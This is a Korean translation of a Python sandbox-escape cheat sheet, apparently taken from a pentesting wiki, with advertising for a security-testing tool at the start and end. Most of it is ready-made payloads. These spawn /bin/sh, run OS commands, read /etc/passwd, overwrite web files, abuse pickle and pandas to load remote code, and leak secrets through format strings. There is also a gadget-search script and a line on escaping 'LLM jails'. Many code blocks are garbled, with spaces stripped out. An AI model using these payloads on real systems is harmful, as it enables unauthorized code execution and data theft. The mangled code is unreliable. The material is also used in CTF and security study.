실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요. 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
이것은 파이썬 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다.
Command Execution Libraries
첫 번째로 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
기억하세요, open 및 read 함수는 python sandbox 내에서 파일을 읽고실행할 수 있는 코드를 작성하는 데 유용할 수 있습니다.
Python2 input() 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 해줍니다.
Python은 현재 디렉토리에서 라이브러리를 먼저 로드하려고 시도합니다 (다음 명령은 python이 모듈을 어디에서 로드하는지 출력합니다): python3 -c 'import sys; print(sys.path)'
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
연산자 및 짧은 트릭
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
인코딩을 통한 보호 우회 (UTF-7)
이 글에서는 UFT-7을 사용하여 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행합니다:
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE 객체 생성 및 오버로드
클래스를 선언하고 해당 클래스의 객체를 생성할 수 있다면, 직접 호출할 필요 없이트리거될 수 있는 다양한 메서드를 작성/오버라이드할 수 있습니다.
사용자 정의 클래스를 통한 RCE
일부 클래스 메서드를 (기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성하여) 수정하여 직접 호출하지 않고트리거될 때 임의의 코드를 실행하도록 만들 수 있습니다.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /='import os; os.system("sh")') (Note that this only works when from__future__import division isin effect.)__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
메타클래스가 허용하는 주요 기능은 생성자를 직접 호출하지 않고 클래스의 인스턴스를 만드는 것으로, 대상 클래스를 메타클래스로 사용하여 새로운 클래스를 생성하는 것입니다.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
예외로 객체 생성하기
예외가 발생할 때Exception의 객체가 직접 생성자를 호출할 필요 없이생성됩니다 ( @_nag0mez 의 트릭):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
더 많은 RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
내장 함수 도움말 및 라이센스 파일 읽기
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
__builtins__가 없으면 아무것도 가져올 수 없고 파일을 읽거나 쓸 수도 없습니다. 모든 전역 함수(예: open, import, print...) 가 로드되지 않기 때문입니다.
그러나 기본적으로 파이썬은 많은 모듈을 메모리에 가져옵니다. 이 모듈들은 무해해 보일 수 있지만, 그 중 일부는 위험한 기능을 내부에 가져오고 있어 이를 통해 임의 코드 실행을 얻을 수 있습니다.
다음 예제에서는 이 "무해한" 모듈을 악용하여 내부의위험한기능에 접근하는 방법을 관찰할 수 있습니다.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__()if x.__name__=='catch_warnings'][0]()._module.__builtins____builtins__["__import__"]('os').system('ls')
내장 페이로드
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals and locals
**globals**와 **locals**를 확인하는 것은 접근할 수 있는 내용을 아는 좋은 방법입니다.
여기에서는 더 위험한 기능을 쉽게 발견하는 방법과 더 신뢰할 수 있는 익스플로잇을 제안하고자 합니다.
우회로 서브클래스에 접근하기
이 기술의 가장 민감한 부분 중 하나는 기본 서브클래스에 접근할 수 있는 것입니다. 이전 예제에서는 ''.__class__.__base__.__subclasses__()를 사용하여 수행되었지만 다른 가능한 방법이 있습니다:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]()# From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
위험한 라이브러리 찾기
예를 들어, sys 라이브러리를 사용하면 임의의 라이브러리를 가져올 수 있다는 것을 알고 있다면, 그 안에 sys를 가져온 모든 모듈을 검색할 수 있습니다:
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
우리는 명령을 실행하는 데 사용할 수 있는 다른 라이브러리로도 같은 작업을 수행할 수 있습니다:
#os[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"os"in x.__init__.__globals__ ][0]["os"].system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"os"== x.__init__.__globals__["__name__"] ][0]["system"]("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"subprocess"== x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"__bultins__"in x.__init__.__globals__ ][ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")#sys[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'_sitebuiltins."instr(x)andnot"_Helper"instr(x) ][0]["sys"].modules["os"].system("ls")#commands (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"commands"in x.__init__.__globals__ ][0]["commands"].getoutput("ls")#pty (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pty"in x.__init__.__globals__ ][0]["pty"].spawn("ls")#importlib[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].__import__("os").system("ls")#pdb[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pdb"in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
이것은 정말 멋집니다. 만약 당신이 globals, builtins, open 또는 그와 유사한 객체를 찾고 있다면 이 스크립트를 사용하여 그 객체를 찾을 수 있는 장소를 재귀적으로 찾으세요.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
You can check the output of this script on this page:
만약 형식화될 문자열을 파이썬에 전송하면, {}를 사용하여 파이썬 내부 정보에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
노트: 일반적인 방법으로 속성에 점을 사용하여 접근할 수 있습니다 people_obj.__init__와 딕셔너리 요소에 괄호를 사용하여 인용 없이 __globals__[CONFIG]
또한 .__dict__를 사용하여 객체의 요소를 열거할 수 있습니다 get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
형식 문자열의 다른 흥미로운 특성은 str, repr 및 ascii 함수를 지정된 객체에서 각각 !s, !r, **!a**를 추가하여 실행할 수 있는 가능성입니다:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
또한, 클래스에서 새로운 포맷터를 코드화하는 것이 가능합니다:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
LLM Jails 우회
From here: ().class.base.subclasses()[108].load_module('os').system('dir')
포맷에서 RCE 라이브러리 로딩으로
이 글의 TypeMonkey 챌린지에 따르면, 파이썬의 포맷 문자열 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드할 수 있습니다.
상기 사항으로, 파이썬에서 어떤 작업이 수행될 때마다 어떤 함수가 실행됩니다. 예를 들어 2*3은 **(2).mul(3)**을 실행하거나 **{'a':'b'}['a']**는 **{'a':'b'}.__getitem__('a')**이 됩니다.
파이썬 포맷 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), '{0.system("/bin/sh")}'.format(os)와 같은 RCE를 얻는 것은 불가능합니다.
그러나 []를 사용할 수 있습니다. 따라서, 일반적인 파이썬 라이브러리에 임의의 코드를 실행하는 __getitem__ 또는 __getattr__ 메서드가 있다면, 이를 악용하여 RCE를 얻을 수 있습니다.
파이썬에서 그런 가젯을 찾기 위해, 글에서는 이 Github 검색 쿼리를 제안합니다. 여기서 그는 이 하나를 발견했습니다:
In some CTFs you could be provided with the name of a custom function where the flag resides and you need to see the internals of the function to extract it.
__code__ 및 func_code: 이 속성에 접근하여 함수의 코드 객체를 얻을 수 있습니다.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
코드 정보 얻기
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
파이썬 샌드박스에서 dis를 가져올 수 없는 경우 함수의 바이트코드 (get_flag.func_code.co_code)를 얻고 로컬에서 분해할 수 있습니다. 로드되는 변수의 내용(LOAD_CONST)은 볼 수 없지만, LOAD_CONST가 로드되는 변수의 오프셋도 알려주기 때문에 (get_flag.func_code.co_consts)로 추측할 수 있습니다.
이제, 어떻게든 실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오. 하지만 실행해야 합니다.
다음 예제와 같이, 그 함수의 코드 객체에 접근할 수 있지만, disassemble을 읽는 것만으로는 플래그를 계산하는 방법을 알 수 없습니다 (더 복잡한 calc_flag 함수라고 상상해 보십시오)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Creating the code object
먼저, 코드 객체를 생성하고 실행하는 방법을 알아야 합니다. 그래야 우리의 함수 leak을 실행하기 위해 하나를 생성할 수 있습니다:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
사용 중인 파이썬 버전에 따라 code_type의 매개변수는 다른 순서를 가질 수 있습니다. 사용 중인 파이썬 버전에서 매개변수의 순서를 아는 가장 좋은 방법은 다음을 실행하는 것입니다:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
유출된 함수 재생성
다음 예제에서는 함수 코드 객체에서 직접 함수를 재생성하는 데 필요한 모든 데이터를 가져올 것입니다. 실제 예제에서는 함수를 실행하는 데 필요한 모든 값이 유출해야 할 것입니다.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj =code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypass Defenses
이 게시물의 시작 부분에 있는 이전 예제에서 compile 함수를 사용하여 어떤 파이썬 코드든 실행하는 방법을 볼 수 있습니다. 이는 전체 스크립트를 루프와 함께 한 줄로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **exec**를 사용하여 동일한 작업을 수행할 수 있습니다).
어쨌든, 때때로 로컬 머신에서 컴파일된 객체를 생성하고 CTF 머신에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 compiled 함수가 없기 때문에).
실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요. 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.